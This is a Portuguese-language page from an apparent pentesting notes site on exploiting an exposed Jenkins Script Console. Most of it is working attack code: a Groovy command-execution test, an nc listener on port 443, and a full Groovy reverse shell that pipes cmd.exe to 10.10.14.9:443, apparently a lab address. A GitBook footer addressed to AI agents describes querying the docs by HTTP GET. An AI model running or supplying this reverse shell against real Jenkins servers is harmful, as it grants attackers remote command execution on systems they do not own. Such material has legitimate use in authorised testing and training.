> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/jenkins-cms-exploitation.md).

# Jenkins

<figure><img src="/files/2516f184c812fe3d96c3932fc3f44facedbdd35b" alt=""><figcaption></figcaption></figure>

**Jenkins - Execução de Script Groovy**

Jenkins está acessível e **Script Console** está habilitado, permitindo a execução de scripts Groovy.

<figure><img src="/files/13d86d29e5560eada106e3f920a70a0397a283f0" alt=""><figcaption></figcaption></figure>

Comando de exemplo para testar a execução:

```groovy
println "ipconfig".execute().text
```

<figure><img src="/files/f776e7290ea10b1afb3a6a9242da7e4cff15d8ef" alt=""><figcaption></figcaption></figure>

### **Exploração**

#### **Shell reversa via console de script Groovy**

Para obter acesso remoto, use o seguinte fluxo de trabalho:

1. **Inicie um listener na porta 443:**

```bash
rlwrap nc -nvlp 443
```

2. **Execute o seguinte script no console Groovy** para estabelecer uma shell reversa:

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="/files/d035ef18ae0dfdd6bd2962c0aaccfbd08ce8de95" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/jenkins-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
